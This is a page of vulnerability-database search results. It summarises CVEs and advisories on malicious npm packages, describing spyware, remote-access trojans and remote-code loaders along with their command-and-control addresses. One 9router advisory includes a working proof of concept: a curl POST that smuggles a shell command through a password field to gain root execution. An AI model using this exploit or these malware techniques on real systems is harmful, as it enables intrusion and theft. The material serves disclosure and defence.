Search: node.invoke
45 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Critical | 9.3 | EPSS 0.4% | CVE-2026-73665FreePBX ucp · Missing Authorization Critical9.3EPSS 0.4%CVE Database V5CVE-2026-73665 FreePBX is an open source IP PBX. Prior to 17.0.9, the UCP Node server on ports 8001 and 8003 uses io.use(checkAuth) in node/lib/server.js, but Socket.IO version 4 applies that middleware only to the default namespace. An unauthenticated client can connect to custom namespaces that do not consistently invoke checkAuth in node/lib/auth.js and send crafted event values containing carriage-return or newline characters through the Asterisk Manager Interface action path patched by node/lib/asterisk-manager-patch.js, allowing arbitrary commands to execute as the asterisk service user. This issue is fixed in version 17.0.9. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.6% | CVE-2026-72683Elastic Elasticsearch · Uncontrolled Recursion Medium6.5EPSS 0.6%CVE Database V5CVE-2026-72683 A flaw in Elasticsearch allows an authenticated user with the privileges required to invoke the simulate pipeline API endpoint (https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-simulate) to submit a request that causes a self-referential data structure to be created. When a specific internal component later processes that structure, the operation recurses without bound and raises a fatal error that is not handled by the surrounding execution path, terminating the affected node process and resulting in a denial of service. | CVE Database V5 | ||
| Critical | 9.9 | EPSS 0.5% | CVE-2026-28466Openclaw cli · OpenClaw Vulnerable to Remote Code Execution via Node Invoke Approval Bypass in Gateway Critical9.9EPSS 0.5%GCVE DatabaseCVE-2026-28466 OpenClaw CLI versions from 2026.1.29 up to but not including 2026.2.14 contain a critical remote code execution vulnerability (CVE-2026-28466) in the gateway-to-node invocation path. An authenticated gateway client could bypass node exec approval controls by injecting internal approval fields into the node.invoke parameters, enabling arbitrary command execution on connected node hosts. This can lead to full compromise of developer workstations, CI runners, and servers running the node host. The vulnerability is patched in OpenClaw version 2026.2.14. | GCVE Database | ||
| High | 8.1 | EPSS 0.3% | CVE-2026-42431Openclaw cli: OpenClaw `node.invoke(browser.proxy)` bypasses `browser.request` persistent profile-mutation guard High8.1EPSS 0.3%GCVE DatabaseCVE-2026-42431 OpenClaw CLI versions up to 2026.4.1 contain a vulnerability where the node.invoke(browser.proxy) function bypasses the browser.request persistent profile-mutation guard, allowing mutation of persistent browser profiles. This issue affects user-controlled local assistant scenarios and does not assume multi-tenant service boundaries. The vulnerability is patched in version 2026.4.8. | GCVE Database | ||
| High | 7.3 | EPSS 0.1% | CVE-2026-53996NetBSD · Missing Authorization High7.3EPSS 0.1%CVE Database V5CVE-2026-53996 NetBSD's hdaudio(4) driver in sys/dev/hdaudio/hdaudio.c contains a missing access control vulnerability that allows unprivileged local attackers to invoke the HDAUDIO_FGRP_SETCONFIG ioctl without elevated permissions by exploiting the absence of an access check on /dev/hdaudioN device nodes. Attackers can repeatedly issue HDAUDIO_FGRP_SETCONFIG from one thread while keeping DMA and IRQs live from a second thread to trigger a use-after-free race condition in hdafg_detach() between stream_stop() and stream_disestablish(), where a latched DMA interrupt dereferences a freed callback pointer, resulting in outcomes ranging from audio-subsystem denial of service and kernel panic to potential local kernel privilege escalation. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7faefbcd9110b5e08b469d72d6541875ba4e2702c4490d1a24c37b313160f86b) env-local presents itself as a dotenv-compatible.env loader (README, keywords, and API mirror motdotla/dotenv), but lib/main.js unconditionally requires lib/tui-options.js, which activates a full-host spyware payload on module load. tui-options.js captures the desktop every 3 seconds (screenshot-desktop+sharp on Windows, screencapture on macOS) and POSTs the JPEG bytes to http://192.99.204.157:5000/upload with X-Computer-Name, X-Platform, and X-Resolution headers identifying the host. In parallel, a 1-second interval polls http://192.99.204.157:5000/get_buffer and replays the returned mouse-click coordinates and keystrokes on the installer's desktop via @nut-tree-fork/nut-js, giving the operator of that endpoint interactive remote control of the machine. On Windows, the module writes %APPDATA%\ScreenCaptureClient\launch-screen-client.vbs and registers HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ScreenCaptureClient via reg.exe to invoke the launcher with wscript.exe at every user logon, persisting the spyware and remote-input agent beyond the Node process. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (49d47be3f5dc16ea70755e0233f46106d3f50d1d5384a4f20c76b91463c9876c) The package's main entry defines a getPlugin() function that performs an HTTPS request to a hardcoded bare-IP endpoint at 31.97.137.157:45000/icons/112 and passes the response field data.credits to `new Function('require','module',...,'Promise', data.credits)`, executing whatever the remote host returns with full Node.js context including require, process, Buffer, and globalThis. The destination URL is assembled from split protocol/separator/domain/path fragments and wrapped in benign 'icon/CDN' naming that hides the code-execution sink. The declared dependencies (@primno/dpapi for Windows DPAPI unwrap of browser-stored secrets, node-machine-id for host fingerprinting, better-sqlite3/sqlite3 for browser profile databases, socket.io-client) do not correspond to the advertised 'crypto checkout' purpose and pre-stage tooling a remote payload can invoke via the injected require() to harvest Windows browser credentials and cookies. Any consumer that require/imports this package and reaches the getPlugin path grants the remote operator arbitrary code execution on the installer's machine. ## Source: ghsa-malware (cad454e0e312c87020333f7ece00363eb627c8b1b1334431c662c09a6af7dad1) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package table-ui-new version 2.7.2 and 2.7.5 contains malicious code embedded in its dist/config.js file, exposed via the package.json './config' subpath export. This export includes an array named HASHES with base64-encoded strings that decode to immediately-invoked async functions which fetch and evaluate remote JavaScript from an attacker-controlled Vercel host. While the main module does not invoke these payloads, any consumer importing the config export receives executable payloads capable of running arbitrary code with full privileges in the Node.js environment. This behavior is unrelated to the package's intended React UI functionality and represents a critical security risk. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package 'cors-update' impersonates the legitimate 'cors' Express middleware but contains malicious code that fetches and executes attacker-controlled JavaScript code from a hardcoded URL. This execution occurs with full access to Node.js require, enabling arbitrary code execution in the host application. The malicious code disguises its network request as a blockchain RPC call and disables TLS verification, increasing risk. Applications that install and invoke this package as a substitute for 'cors' are vulnerable to remote code execution. | GCVE Database | |||
| High | 8.8 | EPSS 0.4% | CVE-2026-58080Eclipse Milo · Missing Authorization High8.8EPSS 0.4%CVE Database V5CVE-2026-58080 CVE-2026-58080 affects Eclipse Milo versions 1.0.0 through 1.1.4. The vulnerability arises because the OpcUaServerConfig.copy() method does not preserve a configured RoleMapper. This causes sessions to receive no role IDs, leading the default access controller to skip role-permission checks. As a result, anonymous clients can read role-permission metadata, invoke protected methods, or delete protected nodes where anonymous sessions are allowed. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (eb22a3b9c64598bc202456844105c3e3e7f7e7185abe335b2694d85deb1b6c9d) The published tarball's dist bundles (dist/sigchain-js.cjs.js, dist/sigchain-js.esm.js, dist/sigchain-js.umd.js) execute at module load: they read an encrypted blob from the sibling dependency 'chain-manager' (either imported as `desKey` or read from a file under node_modules/chain-manager via fs.readFileSync), DES-decrypt it with a hardcoded PASSWORD, then invoke child_process.spawn('node', [], { detached: true,... }) and pipe the decrypted script into the child's stdin — running attacker-controlled Node.js code on the installer's machine on any require()/import of the package. The dropper code is present only in dist/; the src/ tree contains no reference to 'chain-manager' or to spawn('node'), and package.json's declared main 'dist/chain-analyze.cjs.js' is not shipped — only the tampered dist/sigchain-js.* bundles are, so consumers resolve to the malicious build while source reviewers see a clean Theta blockchain SDK. package.json declares author 'Theta Labs' and describes itself as a JavaScript library for the Theta blockchain, impersonating the official @thetalabs/theta-js SDK, and pins 'chain-manager' ^1.0.9 which supplies the encrypted payload — a split-package design that hides the executable code from scanners inspecting only this tarball. ## Source: ghsa-malware (c36bbf5095bf780a61e33774d81ded0ffe9f5cfd2288bae3433a657fe7213c7b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 7.6 | EPSS 0.2% | CVE-2026-46701Jovancoding Network-AI · Origin Validation Error High7.6EPSS 0.2%CVE Database V5CVE-2026-46701 Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.4.5, the MCP SSE server defaults to an empty secret (`process.env['NETWORK_AI_MCP_SECRET'] ?? ''` at `bin/mcp-server.ts:89`), which causes `_isAuthorized` (`lib/mcp-transport-sse.ts:254`) to return `true` unconditionally for every request — no `Authorization` header is required. Simultaneously, `_handleRequest` sets `Access-Control-Allow-Origin: *` (`lib/mcp-transport-sse.ts:272`) on every response, so a cross-origin browser fetch can read the result without restriction. An unauthenticated attacker who can lure a user to a malicious web page can invoke all 22 exposed MCP tools — including `config_set`, `agent_spawn`, and `blackboard_write` — against a default-configured localhost server. Version 5.4.5 patches the issue. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.2% | CVE-2026-10671zephyrproject zephyr · Memory-safety High7.1EPSS 0.2%CVE Database V5CVE-2026-10671 In Zephyr's kernel pipe implementation, the userspace syscall verifier z_vrfy_k_pipe_init() in kernel/pipe.c used K_SYSCALL_OBJ() (which requires the kernel object to already be initialized) instead of K_SYSCALL_OBJ_NEVER_INIT() (which rejects an already-initialized object). As a result, on CONFIG_USERSPACE builds an unprivileged user thread that has been granted access to a k_pipe object can invoke the k_pipe_init syscall to re-initialize a pipe that is already in use. z_impl_k_pipe_init() unconditionally resets the ring buffer, sets pipe->waiting to 0, and re-initializes both wait queues (z_waitq_init on pipe->data and pipe->space) without waking or accounting for threads currently blocked on the pipe. Any thread already pended in k_pipe_read()/k_pipe_write() is left orphaned: still marked pending with pended_on pointing at the cleared wait queue and with stale qnode_dlist links into the (now re-initialized) embedded list head. When such an orphaned waiter is later timed out or woken, the scheduler calls sys_dlist_remove() on its stale node, writing through dangling prev/next pointers into kernel wait-queue/scheduler structures, causing list corruption (an attacker-driven invalid kernel write), lost wakeups, indefinitely blocked threads, and silent data loss. The flaw lets a deprivileged user thread corrupt the state of a kernel object shared with other threads/partitions. The fix switches the verifier to K_SYSCALL_OBJ_NEVER_INIT(), matching the existing k_msgq_init verifier, so a user thread can no longer re-initialize a live pipe. The vulnerable code shipped in v4.1.0 and remained through v4.4.0. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The npm package `nodemon-sudo` is a typosquat of the popular `nodemon` package: its `package.json` description ("Simple monitor script for use during development of a Node.js app."), `main` entry (`./lib/nodemon`), and forged `author` field (`Remy Sharp`, the real maintainer of `nodemon`) are copied from the legitimate project to appear trustworthy. It was published by npm user `conodeeth` (`coxhazelqja151@outlook.com`) as a single release, version 3.1.16, with no prior or subsequent versions. Its `package.json` declares `tslint-conf@^7.2.1` as a direct runtime dependency — a separately-tracked malicious package (see MAL-2026-7022) that itself masquerades as the `pino` logger and, when its default-exported middleware factory is invoked, spawns a detached background worker (`lib/caller.js`) that fetches attacker-controlled code from a Pinata IPFS gateway and executes it via `new Function.constructor('require', s)`, granting full filesystem and environment access. Static review of `nodemon-sudo`'s own source (all 27 JavaScript files in the published tarball, `lib/`, `bin/`, and root) found no `require('tslint-conf')` or other reference to it anywhere in the package's own code — `nodemon-sudo` itself does not declare an install hook and does not directly invoke the malicious dependency's trigger. Its role in the attack is to typosquat a high-download-count package name and force the known-malicious `tslint-conf` onto the dependency tree of anyone who installs it (a dependency-confusion / malicious-dependency-bundling distribution vector), positioning it for exploitation by any other code path in the victim's project that later requires and calls it. Per SafeDep's analysis, `nodemon-sudo` is linked to the `tslint-conf` supply-chain campaign (also distributed via the related, separately-tracked packages `nodemon-node` — MAL-2026-6957 — and `ts-await` — MAL-2026-6958), attributed with suspected North Korea-linked tradecraft (lookalike package names, jsonkeeper.com dead drops, JSON-field code execution via the `Function` constructor, and no reliance on install hooks). Full analysis: https://safedep.io/malicious-nodemon-sudo-tslint-conf-npm-backdoor/ Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ffc26c0e85db45d7e314fbce4140e9abda3f2eb0912cf1bd9259572a7b7d8f33) Package `nodemon-sudo` copies upstream `nodemon`'s identity — `package.json` reuses Remy Sharp as author, `https://nodemon.io` as homepage, and `github.com/remy/nodemon.git` as repository, and ships an essentially unmodified copy of nodemon's source. The `bin` entry is named `nodemon`, so a global install shadows the real `nodemon` CLI in the installer's PATH. The manifest additionally declares `tslint-conf` in `dependencies`, which is not part of upstream nodemon's dependency set and has no role in nodemon's runtime; installing `nodemon-sudo` therefore pulls this unrelated third-party package into the installer's node_modules. The package itself was not observed exfiltrating data, executing remote code at install time, or shipping a backdoor — the concern is name-confusion (a developer following a tutorial that suggests `sudo` may install this instead of `nodemon`), CLI hijack via the shared `nodemon` bin name, and the injection of an off-purpose dependency into downstream dependency graphs. ## Source: ghsa-malware (e6b941e7418bdecb5f25e70716d050d989137d1cc995e31de120799bb96aae0c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e049b6382f522be35ebc44b090d56723dacfc2fe15ffa05b345fe46f5aea392a) The package presents itself as "Pure Node.js telemetry for RuntimeDev platform" but implements a full remote-access trojan. The `runtimedev-link` bin, when invoked with a `--token` that encodes an `apiBase` and hash, enters a command loop that polls `POST /api/telemetry/poll-command` at the operator-supplied base URL and executes any returned `command` string through `/bin/sh` (or the Windows shell) via `execSync`, returning stdout/stderr to `/api/telemetry/command-result` (transport.js). The same agent handles server-issued `directoryScan` and `downloadRequest` operations, zipping arbitrary filesystem paths and uploading them base64-encoded to `/api/telemetry/upload-download`; every telemetry cycle reports hostname, username, OS info, home-directory tree, Chrome/Edge/Brave extension inventories, and the host's public IP fetched from api.ipify.org. On first run the agent installs cross-platform persistence: a Windows Task Scheduler entry marked `<Hidden>true</Hidden>` with a LogonTrigger launched via `wscript.exe //B` against a generated VBS; a macOS LaunchAgent plist with `RunAtLoad` + `KeepAlive`; a Linux systemd `--user` unit with `Restart=always` plus `loginctl enable-linger`, falling back to crontab `@reboot` or XDG autostart. Credentials are staged at `~/.config/runtimedev-link/agent.env`. To further evade endpoint visibility, `lib/portable_runtime.js` downloads a standalone Node.js 22.22.0 tarball from nodejs.org, extracts it into `~/.local/share/runtimedev-link/runtime/`, chmods `bin/node` to 0755, and configures persistence to invoke that private interpreter against a copied agent CLI, decoupling ongoing execution from the user's Node/npm. The exfil/C2 destinations are configurable per token, so any attacker distributing a token targets their own infrastructure; the code paths themselves are unambiguously RAT machinery. ## Source: ghsa-malware (bad42e28746353937971161510019f72f4c501f54d3a40410710ae83e83db724) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Critical | 9.2 | Critical9.2GCVE Database # Unauthenticated RCE via `/api/tunnel/tailscale-install` **Affected:** `9router` (npm package) — current master (`v0.4.39`). ### Summary `POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes. ### Details #### 1. Middleware matcher (`src/proxy.js:3-15`) ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ``` Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire `/api/tunnel/*` family — do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them. #### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`) ```js export async function POST(request) { const body = await request.json().catch(() => ({})); ... const sudoPassword = body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || ""; ... const result = await installTailscale(sudoPassword, shortId, (msg) => { send("progress", { message: msg }); }); ... } ``` `body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux. #### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`) ```js async function installTailscaleLinux(sudoPassword, log) { log("Downloading install script..."); return new Promise((resolve, reject) => { const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... }); let scriptContent = ""; curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); }); curlChild.on("exit", (code) => { if (code !== 0) return reject(...); log("Running install script..."); const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true }); ... child.stdin.write(`${sudoPassword}\n`); // ← from request body child.stdin.write(scriptContent); child.stdin.end(); }); }); } ``` The byte stream sent to the stdin of the `sudo -S sh` child process is: ``` <sudoPassword from request body>\n <https://tailscale.com/install.sh body> ``` When the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password — it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line: 1. The `sudoPassword` value from the request — interpreted as the first shell command. 2. The `install.sh` body — interpreted as subsequent shell input. Appending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user. Both "Docker container running as root" and "`npm i -g 9router` on a host with `NOPASSWD` sudo" reach this path. ### PoC The reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload. **Step 1 — build the target image** ```sh docker build -t 9router-vuln-root - <<'EOF' FROM node:22-bookworm-slim RUN apt-get update && apt-get install -y --no-install-recommends \ sudo curl ca-certificates \ && rm -rf /var/lib/apt/lists/* RUN npm install -g 9router@0.4.39 EXPOSE 20128 CMD ["9router"] EOF ``` **Step 2 — start the target** ```sh docker run -d --rm --name target -p 127.0.0.1:20129:20128 \ 9router-vuln-root 9router --log --skip-update until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done ``` **Step 3 — exploit (one unauthenticated POST)** ```sh curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \ -H 'Content-Type: application/json' \ -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}' ``` **Step 4 — verify** ```sh docker exec target cat /tmp/pwned.txt # uid=0(root) gid=0(root) groups=0(root) ``` The trailing `"Tailscale not installed"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id > /tmp/pwned.txt` write completed earlier in the same `sh` | GCVE Database | |||
| High | 7.8 | EPSS 0.1% | CVE-2026-53161Linux kernel · Use After Free High7.8EPSS 0.1%GCVE DatabaseCVE-2026-53161 In the Linux kernel, the following vulnerability has been resolved: misc: fastrpc: fix use-after-free of fastrpc_user in workqueue context There is a race between fastrpc_device_release() and the workqueue that processes DSP responses. When the user closes the file descriptor, fastrpc_device_release() frees the fastrpc_user structure. Concurrently, an in-flight DSP invocation can complete and fastrpc_rpmsg_callback() schedules context cleanup via schedule_work(&ctx->put_work). If the workqueue runs fastrpc_context_free() in parallel with or after fastrpc_device_release() has freed the user structure, it dereferences the freed fastrpc_user. Depending on the state of the context at the time of the race, any one of the following accesses can be hit: 1. fastrpc_buf_free() calls fastrpc_ipa_to_dma_addr(buf->fl->cctx, ...) to strip the SID bits from the stored IOVA before passing the physical address to dma_free_coherent(). 2. fastrpc_free_map() reads map->fl->cctx->vmperms[0].vmid to reconstruct the source permission bitmask needed for the qcom_scm_assign_mem() call that returns memory from the DSP VM back to HLOS. 3. fastrpc_free_map() acquires map->fl->lock to safely remove the map node from the fl->maps list. The resulting use-after-free manifests as: pc : fastrpc_buf_free+0x38/0x80 [fastrpc] lr : fastrpc_context_free+0xa8/0x1b0 [fastrpc] fastrpc_context_free+0xa8/0x1b0 [fastrpc] fastrpc_context_put_wq+0x78/0xa0 [fastrpc] process_one_work+0x180/0x450 worker_thread+0x26c/0x388 Add kref-based reference counting to fastrpc_user. Have each invoke context take a reference on the user at allocation time and release it when the context is freed. Release the initial reference in fastrpc_device_release() at file close. Move the teardown of the user structure — freeing pending contexts, maps, mmaps, and the channel context reference — into the kref release callback fastrpc_user_free(), so that it runs only when the last reference is dropped, regardless of whether that happens at device close or after the final in-flight context completes. | GCVE Database | ||
| Medium | 4.8 | EPSS 0.1% | CVE-2026-42890actualbudget actual · Code Injection Medium4.8EPSS 0.1%CVE Database V5CVE-2026-42890 Actual is an open-source personal finance application. In the macOS desktop application version 25.x (built on Electron 39.2.7), the ELECTRON_RUN_AS_NODE fuse is not disabled, allowing an attacker who can place a file on disk or control command-line arguments to invoke the signed Actual.app binary with the ELECTRON_RUN_AS_NODE=1 environment variable set. This converts the application into a Node.js REPL capable of executing arbitrary code that inherits the application's entitlements and code signature, bypassing macOS Gatekeeper review. Version 26.5.0 patches the issue. | CVE Database V5 | ||
| High | 7.7 | EPSS 0.8% | CVE-2026-46394haxtheweb haxcms-php · OS Command Injection High7.7EPSS 0.8%CVE Database V5CVE-2026-46394 HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, an OS command injection vulnerability exists in the Git.php library of the HAXcms PHP backend. The application constructs shell command strings using unsanitized input and executes them via proc_open(). An attacker who can control parameters passed into Git operations can execute arbitrary OS commands with the privileges of the web server. Out of 17 functions that invoke shell commands only 1 function (`commit()`) correctly uses `escapeshellarg()`. When combined with another vulnerability that allows configuration manipulation, this issue can lead to full remote code execution and complete system compromise. Version 26.0.0 patches the issue. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-43995FlowiseAI Flowise · Server-Side Request Forgery (SSRF) Medium5.3EPSS 0.4%CVE Database V5CVE-2026-43995 Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, multiple tool implementations directly import and invoke raw HTTP clients (node-fetch, axios) instead of using the secured wrapper. These tools include (1) OpenAPIToolkit/OpenAPIToolkit.ts, (2) WebScraperTool/WebScraperTool.ts, (3) MCP/core.ts, and (4) Arxiv/core.ts. This vulnerability is fixed in 3.1.0. | CVE Database V5 |
Page 2 of 3